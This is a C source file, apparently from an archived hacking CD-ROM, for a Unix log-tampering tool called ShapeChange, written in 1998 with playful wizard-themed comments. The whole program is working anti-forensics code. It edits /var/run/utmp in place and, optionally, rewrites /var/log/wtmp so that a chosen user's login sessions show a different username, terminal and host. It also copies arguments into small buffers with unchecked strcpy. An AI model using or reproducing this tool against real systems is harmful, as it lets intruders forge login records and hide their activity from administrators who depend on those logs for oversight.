home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / s0ftpj / shapechange.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-12-17  |  3.2 KB  |  117 lines

  1. /*
  2. ShapeChange.c - spell of ninth level :) If you're not a wizard, DON'T try
  3.         this at home. Lets you disguise as another user :) on
  4.         another terminal, from another host. Sorry, no abilities
  5.         are attained if you try to disguise as a demigod.
  6.          Usage: ShapeChange <user> <new ID> <new tty> <new host> [-w]
  7.  
  8. This affects UTMP and WTMP [-w]. If you want me to support UTMPX and WTMPX
  9. mantras, supply me with an IRIX wand. :) (or do it yourself). 
  10. WTMP magic may not be all that clever to perform. High Priests could get
  11. suspicious. My Warning Is Bestowed Upon Thoust Soul. ;)
  12. Apprentices of the LamA OrdeR : the Utmp,Wtmp reagent must be present and 
  13. usable ! Check your Mojo bags and VooRoot mantras.
  14. Or simply cast a +s(pell) to owner root =:)
  15. */
  16.  
  17. /*************************************************************************
  18. *                 Written by fusys no (C)1998             *
  19. *    Ideas From Utmp,Wtmp MAN Page and unCommon 20th Sec. Wit     *
  20. *  Copy And Paste Allowed. For Non-Profit Fun And Learning Purposes.     *
  21. *                AMEN.                     *
  22. *************************************************************************/
  23.  
  24.  
  25. #include <fcntl.h>
  26. #include <utmp.h>
  27. #include <sys/types.h>
  28. #include <unistd.h>
  29. #include <stdio.h>
  30. #include <stdlib.h>
  31.  
  32. #define UTMP    "/var/run/utmp"     /* you're supposed to check these reagents */
  33. #define WTMP    "/var/log/wtmp"     /*   for the spell to function properly    */
  34.  
  35. int main (int argc, char *argv[])
  36.     {
  37.     
  38.         struct utmp ut ;
  39.         int size, fin, fout ;
  40.         int wspell = 0 ;
  41.         char user[10], newuser[10], line[10], host[100] ;
  42.  
  43.         if ((argc!=5) && (argc!=6)) {
  44.             fprintf(stderr, "\nShapeChange - no (C)1998 fusys") ;
  45.             fprintf(stderr, "\nUsage: %s <user> <new ID> <new tty> <new host> [-w]\n\n", argv[0]) ;
  46.             exit (0) ;
  47.         }
  48.  
  49.         size=sizeof(ut) ;
  50.         strcpy(user, argv[1]) ;
  51.         strcpy(newuser, argv[2]) ;
  52.         strcpy(line, argv[3]) ;
  53.         strcpy(host, argv[4]) ;
  54.         if (argv[5]) {
  55.             if ((argv[5][0]=='-') && (argv[5][1]=='w')) {
  56.                 wspell = 1 ;
  57.             }
  58.             else {
  59.                 fprintf(stderr, "\nHmmm. Unknown Mantra.\n") ;
  60.                 exit (0) ;
  61.             }
  62.         }
  63.  
  64.         fin = open (UTMP, O_RDWR) ;
  65.         if (fin < 0) {
  66.             fprintf(stderr, "\nLacking Utmp Reagent.\n") ;
  67.             exit (0) ;
  68.         }
  69.         else {
  70.  
  71.             while (read (fin, &ut, size) == size) {
  72.                 if (!strncmp(ut.ut_user, user, strlen(user))) { 
  73.                     strcpy(ut.ut_user, newuser) ;
  74.                     strcpy(ut.ut_line, line) ;
  75.                     strcpy(ut.ut_host, host) ;    
  76.                     lseek(fin, -1*size, SEEK_CUR) ;
  77.                     write(fin, &ut, size) ;
  78.                 }
  79.             }
  80.         close(fin) ;
  81.         }
  82.  
  83.     if (wspell) {
  84.         fin = open (WTMP, O_RDONLY) ;
  85.         fout = open ("wtmp.spell", O_WRONLY|O_CREAT) ;
  86.         if (fin < 0) {
  87.             fprintf(stderr, "\nLacking Wtmp Reagent.\n") ;
  88.             close (fin) ;
  89.         }
  90.         else if (fout < 0) {
  91.             fprintf(stderr, "\nHmm. No Space For Gestures.\n") ;
  92.             close (fout) ;
  93.         }
  94.         else {
  95.             while (read (fin, &ut, size) == size) {
  96.                 if (!strncmp(ut.ut_user, user, strlen(user))) {
  97.                 strcpy(ut.ut_user, newuser) ;
  98.                 strcpy(ut.ut_line, line) ;
  99.                 strcpy(ut.ut_host, host) ;
  100.                 }
  101.                 write (fout, &ut, size) ;
  102.             }
  103.             close (fin) ;
  104.             close (fout) ;
  105.         }
  106.        }
  107.  
  108.         printf("\nSummoning energies ....") ;
  109.         printf("\nAsh Nazg durbatuluk, Ash Nazg gimbatul ...") ;
  110.         printf("\nAsh Nazg thrakatuluk agh burzum-ishi Krimpatul !\n\n") ;
  111.         if (wspell) {
  112.         system("/bin/mv wtmp.spell /var/log/wtmp") ;
  113.         system("chmod 644 /var/log/wtmp") ;
  114.         }
  115.         exit (0) ;
  116. }
  117.